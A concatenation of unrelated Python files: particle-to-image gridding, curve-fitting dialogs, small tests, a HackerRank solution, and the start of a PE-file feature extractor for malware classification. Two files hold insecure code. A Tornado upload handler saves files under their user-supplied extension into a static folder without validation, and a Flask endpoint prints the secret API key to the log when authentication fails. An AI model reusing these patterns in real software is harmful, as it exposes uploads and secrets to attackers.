mass) to a FIT buffer `finalt_image_t`.\n    Data is inserted in chunks in order to be able to process objects that do not fit into memory.\n    \"\"\"\n    \n    N = len(masked_x)\n\n    tot_max_bin_spread = 0\n\n    for k in range(N):\n        xpx = (masked_x[k]-bin_min)/delta_bin #pos of x in terms of px (from 0 to n_bins-1)\n        ypx = (masked_y[k]-bin_min)/delta_bin #pos of y in terms of px\n        bin_i = int(xpx) #calculates distance in i-direction from minimum bin\n        bin_j = int(ypx) #calculates distance in j-direction\n        Hsml = masked_h[k]/delta_bin # in number of px\n        \n        max_bin_spread = int(Hsml)\n        temp =0\n\n        kernel_norm = 3.1415926 * Hsml**2 # area of particle in px^2\n\n        tot_max_bin_spread+=max_bin_spread\n        q = masked_q[k]\n\n        if q == 0:\n            continue\n\n        for i in range(bin_i - max_bin_spread, bin_i + max_bin_spread + 1):\n            if i>=n_bins or i<0:\n                continue\n            for j in range(bin_j - max_bin_spread, bin_j + max_bin_spread + 1):\n                if j>=n_bins or j<0:\n                    continue\n                u = ( (i+.5-xpx)**2 + (j+.5-ypx)**2 )**.5 / Hsml # distance of particle to px center\n                if u > 1.0:\n                    continue\n                \n                dx = min(xpx + Hsml, i+1) - max(xpx - Hsml, i)\n                dy = min(ypx + Hsml, j+1) - max(ypx - Hsml, j)\n                dxdy = dx*dy # area of px\n\n                if Hsml < 1.:\n                    wk = dxdy\n                else:\n                    wk = kernel(u, 1./Hsml) * dxdy\n\n                temp += wk\n\n                area_norm = kernel_norm / distr_weight[k] * masked_w[k] * dz[k] / delta_bin\n                px_weight = area_norm * wk\n                # print(f\"xpx = {xpx:.3f}, ypx = {ypx:.3f},\\nbin_i = {bin_i}, bin_j = {bin_j},\\ndx = {dx}, dy = {dy},\\nmax_bin_spread = {max_bin_spread},\\ni = {i}, j = {j},\\nHsml = {Hsml}, u = {u:.3f},\\nwk = {wk:.3f}, temp = {temp:.6f}\\npx_weight = {px_weight:.3f},\\nkernel_norm = {kernel_norm:.3f},\\ndistr_weight[k] = {distr_weight[k]:.6f}\")\n                # input()\n                final_image_t[j][i] += q * px_weight\n                weight_image[j][i] += px_weight\n                #Implement different contributions based on bin distance (kernels)... Basic idea would be to see how large the contribution of each particle is to each pixel is\n    if N>0:\n        return tot_max_bin_spread/N\n    else:\n        return np.nan\n\n\ndef mapping2D(pos: np.ndarray, hsml: np.ndarray,\n              qty: np.ndarray, weights: np.ndarray, \n              mapParam: dict, kernel = WendlandC6_2D):\n    \"\"\"\n    here we read input data `kv`, read chunks of particles and send them to `add_to_grid`\n    \"\"\"\n    #set the snapshots' scalefactor and hubble factor into units.\n    # units = g3u.get_units(mapParam['SNAP_PATH'])\n    #produce a set of pint units from the snapshots data\n    # ureg = units.get_u()\n\n    img_xy_size = mapParam['IMG_XY_SIZE']\n    img_z_size  = mapParam['IMG_Z_SIZE']\n    img_pxsize = mapParam['IMG_PXSIZE'] # number of pixels per side\n    img_center = np.array(mapParam['IMG_CENTER'])\n\n    \n    n_bins = [img_pxsize]*2\n    final_image_t = np.zeros(n_bins)\n    weight_image = np.zeros(n_bins)\n    dw = np.zeros_like(qty) \n\n    bins = [np.linspace(-.5,.5,img_pxsize+1), np.linspace(-.5, .5, img_pxsize+1)]\n    \n    N_part_type = len(qty)\n    print(N_part_type)\n\n    if N_part_type == 0:\n        raise ValueError(\"Quantity array is empty... Abort\")\n\n    \n    rel_poses = pos - img_center\n\n    pos_x = rel_poses[:,0]\n    pos_y = rel_poses[:,1]\n    pos_z = rel_poses[:,2]\n    \n    # Convert into pixel position\n    norm_x = (pos_x/img_xy_size)#.to('').magnitude \n    norm_y = (pos_y/img_xy_size)#.to('').magnitude \n    norm_z = (pos_z/img_z_size)#.to('').magnitude \n    norm_h = (hsml/img_xy_size)#.to('').magnitude\n\n    # Select indeces for cube around center based on image size\n    mask = (norm_x<=.5)&(norm_x>=-.5)&(norm_y<=.5)&(norm_y>=-.5)&(norm_z<=.5)&(norm_z>=-.5) \n            \n    masked_x = norm_x[mask]\n    masked_y = norm_y[mask]\n    masked_h = norm_h[mask]\n    masked_w = weights[mask]\n    dz       = 4./3.* masked_h\n    masked_q = qty[mask]#(qty[mask]).to(mapParam['RESULT_UNITS']).magnitude\n    print(f\"'g2D': sum of qty_arr = {np.sum(masked_q):.2e}\")\n    print(f\"'g2D': sum of qty_arr * V_arr = {np.sum(masked_q*4/3*3.1415926*hsml[mask]**3.):.2e}\")\n\n    avg_bin_spread = calc_area_weights(dw,masked_x,masked_y,masked_h,kernel,bins[0][0], bins[0][1]-bins[0][0], img_pxsize)\n\n    avg_bin_spread = add_to_grid(final_image_t, weight_image, masked_x, masked_y, masked_h, masked_w, masked_q, dz, kernel, dw, bins[0][0], bins[0][1]-bins[0][0], img_pxsize)\n    print ('# avg bin spread ', avg_bin_spread)\n    \n    final_image = np.nan_to_num(final_image_t)\n\n    return final_image, weight_image\n\ndef mappingParam(center: list[3], xy_size: float, Npx: int):\n    mapPar = {\n        \"IMG_CENTER\"    : center,\n        \"IMG_XY_SIZE\"   : xy_size,\n        \"IMG_Z_SIZE\"    : xy_size,\n        \"IMG_PXSIZE\"    : Npx,\n        \"LEN_PER_PX\"    : xy_size/Npx\n    }\n    return mapPar\n","repo_name":"svz71195/XRBs","sub_path":"src/PhoxUtil/grid2D.py","file_name":"grid2D.py","file_ext":"py","file_size_in_byte":9035,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"31339304996","text":"# coding:utf-8\n\nimport json\nimport os\nimport random\nimport string\nfrom model.file_log import FileLog\nfrom view import route, url_for, View, LoginView, AjaxLoginView, AjaxView\n\n\n@route('/j/upload', name='j_upload')\nclass UploadHandler(AjaxLoginView):\n    def post(self):\n        file1 = self.request.files['file'][0]\n        original_fname = file1['filename']\n        extension = os.path.splitext(original_fname)[1]\n        fname = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(24))\n        final_filename = fname + extension\n        output_file = open(\"static/uploads/\" + final_filename, 'wb')\n        output_file.write(file1['body'])\n        fl = FileLog.new(final_filename, original_fname, self.current_user())\n        self.finish(json.dumps(fl.to_dict()))\n\n\n@route('/j/upload_file_lst', name='j_upload_file_lst')\nclass UploadHandler(AjaxLoginView):\n    def post(self):\n        self.finish(json.dumps(FileLog.get_list()))\n","repo_name":"fy0/ctftools","sub_path":"view/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"36489560283","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2016/10/13 17:06\n\n@author: qiding\n\"\"\"\n\nimport numpy as np\nimport statsmodels.api as sm\n\n\ndef main():\n    data_len = 100000\n    std_err = 0.1\n\n    x_var = gen_x_var(data_len, std=1)\n    error = gen_error(data_len, std=std_err)\n    y_var = func(x_var, error)\n\n    model = ModelLogNormal(y_var, x_var)\n    model.fit()\n\n    data_len_oos = 1000\n    x_var_oos = gen_x_var(data_len_oos, std=1)\n    error_oos = gen_error(data_len_oos, std=std_err)\n    y_var_oos = func(x_var_oos, error_oos)\n    y_predict_log, y_predict_with_var_raw_y, y_predict_with_var_err, y_predict_without_var = model.predict(x_var_oos)\n\n    r_sq_without_var = model.report_r_sq(y_var_oos, y_predict_without_var)\n    r_sq_with_var_raw = model.report_r_sq(y_var_oos, y_predict_with_var_raw_y)\n    r_sq_with_var_err = model.report_r_sq(y_var_oos, y_predict_with_var_err)\n    r_sq_log = model.report_r_sq(np.log(y_var_oos), y_predict_log)\n\n    # y_predict_log, y_predict_with_var, y_predict_without_var = model.predict(x_var)\n    #\n    # r_sq_without_var = model.report_r_sq(y_var, y_predict_without_var)\n    # r_sq_with_var = model.report_r_sq(y_var, y_predict_with_var)\n    # r_sq_log = model.report_r_sq(np.log(y_var), y_predict_log)\n\n    r_sq_in_sample = model.report_r_sq(y_real=np.log(y_var), y_predict=model.y_var_predict_log_in_sample)\n\n    s = 'without: {}, with_raw: {}, with_err: {}, log: {}, in_sample: {}, in_sample2: {}'.format(\n        r_sq_without_var, r_sq_with_var_raw, r_sq_with_var_err, r_sq_log, r_sq_in_sample, model.param_reg.rsquared\n    )\n\n    print(s)\n\n\nclass ModelLogNormal:\n    def __init__(self, y_var, x_var):\n        self.y_var = y_var\n        self.x_var = x_var\n        self.y_var_log = np.log(y_var)\n        self.x_var_log = np.log(x_var)\n\n        self.y_var_predict_log_in_sample = None\n        self.error_in_sample = None\n\n        self.model = None\n        self.param_reg = None\n\n    def fit(self):\n        self.model = sm.OLS(endog=self.y_var_log, exog=sm.add_constant(self.x_var_log))\n        self.param_reg = self.model.fit()\n        self.y_var_predict_log_in_sample = self.predict_log(self.x_var_log)\n        self.error_in_sample = self.y_var_log - self.y_var_predict_log_in_sample\n\n    def predict_log(self, x_var_oos_log):\n        exog = sm.add_constant(x_var_oos_log)\n        y_predict_log = self.model.predict(params=self.param_reg.params, exog=exog)\n        return y_predict_log\n\n    def predict(self, x_var_oos):\n        x_var_oos_log = np.log(x_var_oos)\n        y_predict_log = self.predict_log(x_var_oos_log)\n        y_predict_with_var_raw_y = np.exp(y_predict_log + 1 / 2 * (self.y_var_log.std() ** 2))\n        y_predict_with_var_err = np.exp(y_predict_log + 1 / 2 * (self.error_in_sample.std() ** 2))\n        y_predict_without_var = np.exp(y_predict_log)\n        return y_predict_log, y_predict_with_var_raw_y, y_predict_with_var_err, y_predict_without_var\n\n    @classmethod\n    def report_r_sq(cls, y_real, y_predict):\n        err = y_real - y_predict\n        msr = (err * err).mean()\n        err2 = y_real - y_real.mean()\n        mse = (err2 * err2).mean()\n        r_sq = 1 - msr / mse\n        return r_sq\n\n\ndef gen_x_var(data_len, std):\n    normal_data = np.random.normal(size=data_len, scale=std)\n    exp_normal_data = np.exp(normal_data)\n    return exp_normal_data\n\n\ndef gen_error(data_len, std):\n    err = np.random.normal(scale=std, size=data_len)\n    return err\n\n\ndef func(x_var, error, a=.8, b=.4):\n    log_x = np.log(x_var)\n    log_y = a * log_x + b + error\n    y_exp = np.exp(log_y)\n    return y_exp\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"qiding321/my_strategy2_ofpn2","sub_path":"test/test_log_normal_distribution.py","file_name":"test_log_normal_distribution.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19216083019","text":"import os\nimport random\n\nfrom wheels import *\n\ndef gmap(height=3, width=3):\n\n\tdef __randsym(syms):\n\t\treturn syms[random.randint(0, len(syms) - 1)]\n\n\tdef __randy():\n\t\treturn random.randint(0, height - 1)\n\t\n\tdef __randx():\n\t\treturn random.randint(0, width - 1)\n\n\tretmap = []\n\tfor y in range(height):\n\t\tretmap.append([])\n\t\tfor x in range(width):\n\t\t\tretmap[y].append( __randsym(['.', 'X', '.', '.']))\n\n\tstart_y, start_x = __randy(), __randx()\n\twhile True:\n\t\tend_y, end_x = __randy(), __randx()\n\t\tif end_y != start_y or end_x != start_x:\n\t\t\tbreak\n\n\tretmap[start_y][start_x] = 'S'\n\tretmap[end_y][end_x] = 'D'\n\n\treturn retmap, random.randint(0, height * width)\n\ndef ginput(inmap, time):\n\theight = len(inmap)\n\twidth = len(inmap[0])\n\n\tinfile = open(DEFAULT_INPUT_FILE, \"w\")\n\tinfile.write(\"%d %d %d\\n\"%( height, width, time)) \n\tfor line in inmap:\n\t\tfor sym in line:\n\t\t\tinfile.write(\"%c\"%sym)\n\t\tinfile.write(\"\\n\")\n\tinfile.close()\n\nif __name__ == \"__main__\":\n\tos.chdir(\"..\")\n\n\tdef ginput2():\n\t\tinmap, time = gmap()\n\t\tginput(inmap, time)\n\n\tsimple_test_2(\n\t\t\"cat %s | ./b.out\"%DEFAULT_INPUT_FILE,\n\t\t\"cat %s | ./a.out\"%DEFAULT_INPUT_FILE,\n\t\tginput2);\n","repo_name":"tjytlxwxhyzqfw/online-judge","sub_path":"hdoj/0000/Tests/1010.py","file_name":"1010.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"814664580","text":"# -*- coding: utf-8 -*-\n#\n# Licensed under the terms of the BSD 3-Clause or the CeCILL-B License\n# (see codraft/__init__.py for details)\n\n\"\"\"Curve fitting dialog widgets\"\"\"\n\n# pylint: disable=invalid-name  # Allows short reference names like x, y, ...\n\n\nimport numpy as np\nfrom guidata.configtools import get_icon\nfrom guiqwt.widgets.fit import FitDialog, FitParam\n\nfrom codraft.config import _\nfrom codraft.core.computation import fit\nfrom codraft.core.computation.signal import xpeak\nfrom codraft.utils.qthelpers import exec_dialog\nfrom codraft.utils.tests import get_default_test_name\n\n\ndef guifit(\n    x,\n    y,\n    fitfunc,\n    fitparams,\n    fitargs=None,\n    fitkwargs=None,\n    wintitle=None,\n    title=None,\n    xlabel=None,\n    ylabel=None,\n    param_cols=1,\n    auto_fit=True,\n    winsize=None,\n    winpos=None,\n    parent=None,\n    name=None,\n):\n    \"\"\"GUI-based curve fitting tool\"\"\"\n    win = FitDialog(\n        edit=True,\n        wintitle=wintitle,\n        icon=None,\n        toolbar=True,\n        options=dict(title=title, xlabel=xlabel, ylabel=ylabel),\n        parent=parent,\n        param_cols=param_cols,\n        auto_fit=auto_fit,\n    )\n    if name is None:\n        name = get_default_test_name()\n    win.setObjectName(name)\n    win.set_data(x, y, fitfunc, fitparams, fitargs, fitkwargs)\n    win.autofit()  # TODO: [P3] make this optional\n    if parent is None:\n        win.setWindowIcon(get_icon(\"codraft.svg\"))\n    if winsize is not None:\n        win.resize(*winsize)\n    if winpos is not None:\n        win.move(*winpos)\n    win.get_plot().do_autoscale()\n    if exec_dialog(win):\n        return win.get_values()\n    return None\n\n\n# --- Polynomial fitting curve -------------------------------------------------\ndef polynomialfit(x, y, degree, parent=None, name=None):\n    \"\"\"Compute polynomial fit\n\n    Returns (yfit, params), where yfit is the fitted curve and params are\n    the fitting parameters\"\"\"\n    ivals = np.polyfit(x, y, degree)\n\n    params = []\n    for index in range(degree + 1):\n        val = ivals[index]\n        vmax = max(1.0, np.abs(val))\n        param = FitParam(f\"c{(len(ivals) - index - 1):d}\", val, -2 * vmax, 2 * vmax)\n        params.append(param)\n\n    def fitfunc(x, params):\n        return np.polyval(params, x)\n\n    values = guifit(\n        x, y, fitfunc, params, parent=parent, wintitle=_(\"Polymomial fit\"), name=name\n    )\n    if values:\n        return fitfunc(x, values), params\n\n\n# --- Gaussian fitting curve ---------------------------------------------------\ndef gaussianfit(x, y, parent=None, name=None):\n    \"\"\"Compute Gaussian fit\n\n    Returns (yfit, params), where yfit is the fitted curve and params are\n    the fitting parameters\"\"\"\n    dx = np.max(x) - np.min(x)\n    dy = np.max(y) - np.min(y)\n    sigma = dx * 0.1\n    amp = fit.GaussianModel.get_amp_from_amplitude(dy, sigma)\n\n    a = FitParam(_(\"Amplitude\"), amp, 0.0, amp * 1.2)\n    b = FitParam(_(\"Base line\"), np.min(y), np.min(y) - 0.1 * dy, np.max(y))\n    sigma = FitParam(_(\"Std-dev\") + \" (σ)\", sigma, sigma * 0.2, sigma * 10)\n    mu = FitParam(_(\"Mean\") + \" (μ)\", xpeak(x, y), np.min(x), np.max(x))\n\n    params = [a, sigma, mu, b]\n\n    def fitfunc(x, params):\n        return fit.GaussianModel.func(x, *params)\n\n    values = guifit(\n        x, y, fitfunc, params, parent=parent, wintitle=_(\"Gaussian fit\"), name=name\n    )\n    if values:\n        return fitfunc(x, values), params\n\n\n# --- Lorentzian fitting curve -------------------------------------------------\ndef lorentzianfit(x, y, parent=None, name=None):\n    \"\"\"Compute Lorentzian fit\n\n    Returns (yfit, params), where yfit is the fitted curve and params are\n    the fitting parameters\"\"\"\n    dx = np.max(x) - np.min(x)\n    dy = np.max(y) - np.min(y)\n    sigma = dx * 0.1\n    amp = fit.LorentzianModel.get_amp_from_amplitude(dy, sigma)\n\n    a = FitParam(_(\"Amplitude\"), amp, 0.0, amp * 1.2)\n    b = FitParam(_(\"Base line\"), np.min(y), np.min(y) - 0.1 * dy, np.max(y))\n    sigma = FitParam(_(\"Std-dev\") + \" (σ)\", sigma, sigma * 0.2, sigma * 10)\n    mu = FitParam(_(\"Mean\") + \" (μ)\", xpeak(x, y), np.min(x), np.max(x))\n\n    params = [a, sigma, mu, b]\n\n    def fitfunc(x, params):\n        return fit.LorentzianModel.func(x, *params)\n\n    values = guifit(\n        x, y, fitfunc, params, parent=parent, wintitle=_(\"Lorentzian fit\"), name=name\n    )\n    if values:\n        return fitfunc(x, values), params\n\n\n# --- Voigt fitting curve ------------------------------------------------------\ndef voigtfit(x, y, parent=None, name=None):\n    \"\"\"Compute Voigt fit\n\n    Returns (yfit, params), where yfit is the fitted curve and params are\n    the fitting parameters\"\"\"\n    dx = np.max(x) - np.min(x)\n    dy = np.max(y) - np.min(y)\n    sigma = dx * 0.1\n    amp = fit.VoigtModel.get_amp_from_amplitude(dy, sigma)\n\n    a = FitParam(_(\"Amplitude\"), amp, 0.0, amp * 1.2)\n    b = FitParam(_(\"Base line\"), np.min(y), np.min(y) - 0.1 * dy, np.max(y))\n    sigma = FitParam(_(\"Std-dev\") + \" (σ)\", sigma, sigma * 0.2, sigma * 10)\n    mu = FitParam(_(\"Mean\") + \" (μ)\", xpeak(x, y), np.min(x), np.max(x))\n\n    params = [a, sigma, mu, b]\n\n    def fitfunc(x, params):\n        return fit.VoigtModel.func(x, *params)\n\n    values = guifit(\n        x, y, fitfunc, params, parent=parent, wintitle=_(\"Voigt fit\"), name=name\n    )\n    if values:\n        return fitfunc(x, values), params\n\n\n# --- Multi-Gaussian fitting curve ---------------------------------------------\ndef multigaussian(x, *values, **kwargs):\n    \"\"\"Return a 1-dimensional multi-Gaussian function.\"\"\"\n    a_amp = values[0::2]\n    a_sigma = values[1::2]\n    y0 = values[-1]\n    a_x0 = kwargs[\"a_x0\"]\n    y = np.zeros_like(x) + y0\n    for amp, sigma, x0 in zip(a_amp, a_sigma, a_x0):\n        y += amp * np.exp(-0.5 * ((x - x0) / sigma) ** 2)\n    return y\n\n\ndef multigaussianfit(x, y, peak_indexes, parent=None, name=None):\n    \"\"\"Compute Multi-Gaussian fit\n\n    Returns (yfit, params), where yfit is the fitted curve and params are\n    the fitting parameters\"\"\"\n    params = []\n    for index, i0 in enumerate(peak_indexes):\n        istart = 0\n        iend = len(x) - 1\n        if index > 0:\n            istart = (peak_indexes[index - 1] + i0) // 2\n        if index < len(peak_indexes) - 1:\n            iend = (peak_indexes[index + 1] + i0) // 2\n        dx = 0.5 * (x[iend] - x[istart])\n        dy = np.max(y[istart:iend]) - np.min(y[istart:iend])\n        stri = f\"{index + 1:02d}\"\n        params += [\n            FitParam((\"A\") + stri, y[i0], 0.0, dy * 2),\n            FitParam(\"σ\" + stri, dx / 10, dx / 100, dx),\n        ]\n\n    params.append(\n        FitParam(\n            _(\"Y0\"), np.min(y), np.min(y) - 0.1 * (np.max(y) - np.min(y)), np.max(y)\n        )\n    )\n\n    kwargs = dict(a_x0=x[peak_indexes])\n\n    def fitfunc(xi, params):\n        return multigaussian(xi, *params, **kwargs)\n\n    param_cols = 1\n    if len(params) > 8:\n        param_cols = 4\n    values = guifit(\n        x,\n        y,\n        fitfunc,\n        params,\n        param_cols=param_cols,\n        winsize=(900, 600),\n        parent=parent,\n        name=name,\n        wintitle=_(\"Multi-Gaussian fit\"),\n    )\n    if values:\n        return fitfunc(x, values), params\n","repo_name":"Codra-Ingenierie-Informatique/CodraFT","sub_path":"codraft/widgets/fitdialog.py","file_name":"fitdialog.py","file_ext":"py","file_size_in_byte":7153,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"}
{"seq_id":"7029072985","text":"import os\r\nfrom flask_restful import Resource, reqparse\r\n\r\nfrom models.systemuser import SystemUserModel\r\n\r\n\r\nclass Info(Resource):\r\n    def __init__(self):\r\n        self.parser = reqparse.RequestParser()\r\n        self.parser.add_argument('x-api-key', location='headers', required=True)\r\n        self.api_key = self.parser.parse_args()['x-api-key']\r\n\r\n    def get(self):\r\n        if self.api_key != os.environ.get('X_API_KEY'):\r\n            print(os.environ.get('X_API_KEY'))\r\n            return {\"error\": \"Authentication failed.\"}, 401\r\n\r\n        all_users = SystemUserModel.query.all()\r\n        gmail_users = SystemUserModel.query.filter(SystemUserModel.email.endswith('@gmail.com')).all()\r\n        locked_users = SystemUserModel.query.filter_by(account_locked=\"true\").all()\r\n        suspended_users = SystemUserModel.query.filter_by(suspended=\"true\").all()\r\n        activated_users = SystemUserModel.query.filter_by(activated=\"true\").all()\r\n\r\n        return {\"total\": len(all_users),\r\n                \"all_users\": [i.serialize for i in all_users],\r\n                \"gmail_users\": [i.serialize for i in gmail_users],\r\n                \"locked_users\": [i.serialize for i in locked_users],\r\n                \"suspended_users\": [i.serialize for i in suspended_users],\r\n                \"activated_users\": [i.serialize for i in activated_users], }\r\n","repo_name":"shinebayar-g/jumpcloud","sub_path":"src/routes/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73399160739","text":"# https://www.hackerrank.com/challenges/greedy-florist/problem\n# !/bin/python3\n\ndef getMinimumCost(k, c):\n    cost = 0\n    m = 1\n\n    c.sort(reverse=True)\n\n    for i in range(len(c)):\n        cost += c[i] * m\n        if (i + 1) % k == 0:\n            m += 1\n\n    return cost\n\n\nif __name__ == '__main__':\n    nk = input().split()\n    n = int(nk[0])\n    k = int(nk[1])\n    c = list(map(int, input().rstrip().split()))\n    minimumCost = getMinimumCost(k, c)\n    print(minimumCost)\n","repo_name":"danylo-boiko/HackerRank","sub_path":"Problem Solving/Basic/greedy_florist.py","file_name":"greedy_florist.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16354902215","text":"import hashlib  # common interface to many different secure hash and message digest algorithms\nimport re  # provides regular expression matching operations\n\nimport lief  # cross platform library which able to parse, modify and abstract ELF, PE and MachO formats\nimport numpy as np  # the fundamental package for scientific computing with Python\nfrom logzero import logger  # robust and effective logging for Python\nfrom sklearn.feature_extraction import FeatureHasher  # implements feature hashing, aka the hashing trick\n\n# get lief version\nLIEF_MAJOR, LIEF_MINOR, _ = lief.__version__.split('.')\n# disable lief logging\nlief.logging.disable()\n\n# check installed lief version capabilities\nLIEF_EXPORT_OBJECT = int(LIEF_MAJOR) > 0 or (int(LIEF_MAJOR) == 0 and int(LIEF_MINOR) >= 10)\nLIEF_HAS_SIGNATURE = int(LIEF_MAJOR) > 0 or (int(LIEF_MAJOR) == 0 and int(LIEF_MINOR) >= 11)\n\n\nclass FeatureType(object):\n    \"\"\" Base class from which each feature type may inherit. \"\"\"\n\n    name = ''  # feature name\n    dim = 0  # feature dimension\n\n    def __repr__(self):  # get feature description (name + dim)\n        \"\"\" Get unambiguous object representation in string format.\n\n        Returns:\n             Unambiguous object representation in string format.\n        \"\"\"\n\n        return '{}({})'.format(self.name, self.dim)  # return formatted string\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n        \"\"\" Generate a JSON-able representation of the file (raw features).\n\n        Args:\n            bytez: PE file binary data\n            lief_binary: Lief parsing of PE file binaries\n        \"\"\"\n\n        raise NotImplementedError  # will be overridden by child classes\n\n    def process_raw_features(self,\n                             raw_obj):  # dictionary of raw features\n        \"\"\" Generate a feature vector from the raw features.\n\n        Args:\n            raw_obj: Dictionary of raw features\n        \"\"\"\n\n        raise NotImplementedError  # will be overridden by child classes\n\n    def feature_vector(self,\n                       bytez,  # PE file binary data\n                       lief_binary):  # lief parsing of PE file binaries\n        \"\"\" Directly calculate the feature vector from the sample itself. This should only be implemented differently\n        if there are significant speedups to be gained from combining the two functions.\n\n        Args:\n            bytez: PE file binary data\n            lief_binary: Lief parsing of PE file binaries\n        Returns:\n            Feature vector.\n        \"\"\"\n\n        # get raw features from the sample; then generate feature vector\n        return self.process_raw_features(self.raw_features(bytez, lief_binary))\n\n\nclass ByteHistogram(FeatureType):\n    \"\"\" Byte histogram (count + non-normalized) over the entire binary file. \"\"\"\n\n    name = 'histogram'  # feature name\n    dim = 256  # feature dimension\n\n    def __init__(self):\n        \"\"\" Initialize ByteHistogram class. \"\"\"\n\n        super(FeatureType, self).__init__()\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # interpret PE file binary data as a 1-dimensional array of (8-bit) unsigned integers,\n        # then count the number of occurrences of each value in the array\n        # (setting minimum number of bins for the output array to 256 to have always the same output size)\n        # -> Each bin will give the number of occurrences of its index value in the original ndarray\n        counts = np.bincount(np.frombuffer(bytez, dtype=np.uint8), minlength=256)\n\n        # convert the numpy ndarray to a python list and return it\n        return counts.tolist()\n\n    def process_raw_features(self,\n                             raw_obj):  # byte histogram raw features\n\n        # create counts ndarray from the raw byte histogram interpreting the values as floats\n        counts = np.array(raw_obj, dtype=np.float32)\n\n        # sum all counts together\n        counts_sum = counts.sum()\n\n        # normalize counts dividing them by the total sum\n        normalized = counts / counts_sum\n\n        # return normalized histogram\n        return normalized\n\n\nclass ByteEntropyHistogram(FeatureType):\n    \"\"\" 2d byte/entropy histogram based loosely on (Saxe and Berlin, 2015).\n    This roughly approximates the joint probability of byte value and local entropy.\n    See Section 2.1.1 in https://arxiv.org/pdf/1508.03096.pdf for more info.\n    \"\"\"\n\n    name = 'byteentropy'\n    dim = 256\n\n    def __init__(self,\n                 step=1024,  # step size\n                 window=2048):  # window size\n        \"\"\" Initialize ByteEntropyHistogram class. \"\"\"\n\n        super(FeatureType, self).__init__()\n\n        # set attributes\n        self.window = window\n        self.step = step\n\n    def _entropy_bin_counts(self,\n                            block):  # ndarray containing a piece (block) of the PE file binary data\n        \"\"\" Get bin frequencies (counts) and entropy bin index (Hbin).\n\n        Args:\n            block: Ndarray containing a piece (block) of the PE file binary data\n        Returns:\n            Entropy bin index (Hbin) and bin frequencies (counts).\n        \"\"\"\n\n        # calculate bin frequency:\n        # shift block bytes to the right by 4 positions (dividing them by 16),\n        # then count the number of occurrences of each value in the array\n        # (setting minimum number of bins for the output array to 16)\n        # in order to have a coarse histogram, with 16 bytes per bin\n        c = np.bincount(block >> 4, minlength=16)  # 16-bin histogram\n\n        # calculate bin probability:\n        # get a copy of \"c\" ndarray, casting its values to float and then dividing them by the window size\n        p = c.astype(np.float32) / self.window\n\n        # get non-zero bins indexes (where(c) -> where c is not zero)\n        wh = np.where(c)[0]\n\n        # calculate entropy:\n        # get p values where c is not zero, multiply them with the -log2 of themselves,\n        # sum the results and then multiply by 2\n        # (x2 because we reduced information by half: 256 bins (8 bits) to 16 bins (4 bits))\n        H = np.sum(-p[wh] * np.log2(p[wh])) * 2\n\n        # get the bin index where to store histogram \"c\", we have up to 16 bins (max entropy is 8 bits)\n        Hbin = int(H * 2)\n        if Hbin == 16:  # handle entropy = 8.0 bits\n            Hbin = 15\n\n        # return bin index \"Hbin\" and histogram \"c\"\n        return Hbin, c\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # initialize output as a 2d grid of 16x16 zeros (ints)\n        output = np.zeros((16, 16), dtype=np.int)\n\n        # interpret PE file binary data as a 1-dimensional array of (8-bit) unsigned integers\n        a = np.frombuffer(bytez, dtype=np.uint8)\n\n        if a.shape[0] < self.window:  # if the size of ndarray \"a\" is less than the window size\n\n            # get 16-bin histogram \"c\" and bin index \"Hbin\" from ndarray \"a\"\n            Hbin, c = self._entropy_bin_counts(a)\n\n            # save histogram in output adding counts at the specified bin index\n            output[Hbin, :] += c\n\n        else:\n            # strided trick from here: http://www.rigtorp.se/2011/01/01/rolling-statistics-numpy.html\n\n            # get shape for stride_tricks.as_strided\n            shape = a.shape[:-1] + (a.shape[-1] - self.window + 1, self.window)\n\n            # get strides stride_tricks.as_strided: bytes to step in each dimension when traversing the ndarray\n            strides = a.strides + (a.strides[-1],)\n\n            # create a view into the \"a\" ndarray with the given shape and strides, getting one row every \"step\" steps\n            blocks = np.lib.stride_tricks.as_strided(a, shape=shape, strides=strides)[::self.step, :]\n\n            # from the blocks, compute histogram\n            for block in blocks:\n                # get 16-bin histogram \"c\" and bin index \"Hbin\" from ndarray block\n                Hbin, c = self._entropy_bin_counts(block)\n\n                # save histogram in output adding counts at the specified bin index\n                output[Hbin, :] += c\n\n        # get a copy of the output ndarray collapsed into one dimension,\n        # then convert the numpy ndarray to a python list and return it\n        return output.flatten().tolist()\n\n    def process_raw_features(self,\n                             raw_obj):  # byte entropy histogram raw features\n\n        # create counts ndarray from the raw byte entropy histogram interpreting the values as floats\n        counts = np.array(raw_obj, dtype=np.float32)\n\n        # sum all counts together\n        counts_sum = counts.sum()\n\n        # normalize counts dividing them by the total sum\n        normalized = counts / counts_sum\n\n        # return normalized histogram\n        return normalized\n\n\nclass SectionInfo(FeatureType):\n    \"\"\" Information about section names, sizes and entropy.\n    Uses hashing trick to summarize all this section info into a feature vector.\n    \"\"\"\n\n    name = 'section'\n    dim = 5 + 50 + 50 + 50 + 50 + 50\n\n    def __init__(self):\n        \"\"\" Initialize SectionInfo class. \"\"\"\n\n        super(FeatureType, self).__init__()\n\n    @staticmethod\n    def _properties(s):  # lief binary section\n        \"\"\" Get section characteristics list.\n\n        Args:\n            s: Lief binary section\n        Returns:\n            Section characteristics list.\n        \"\"\"\n\n        # get section characteristics list, throwing away any string preceding the last \".\"\n        return [str(c).split('.')[-1] 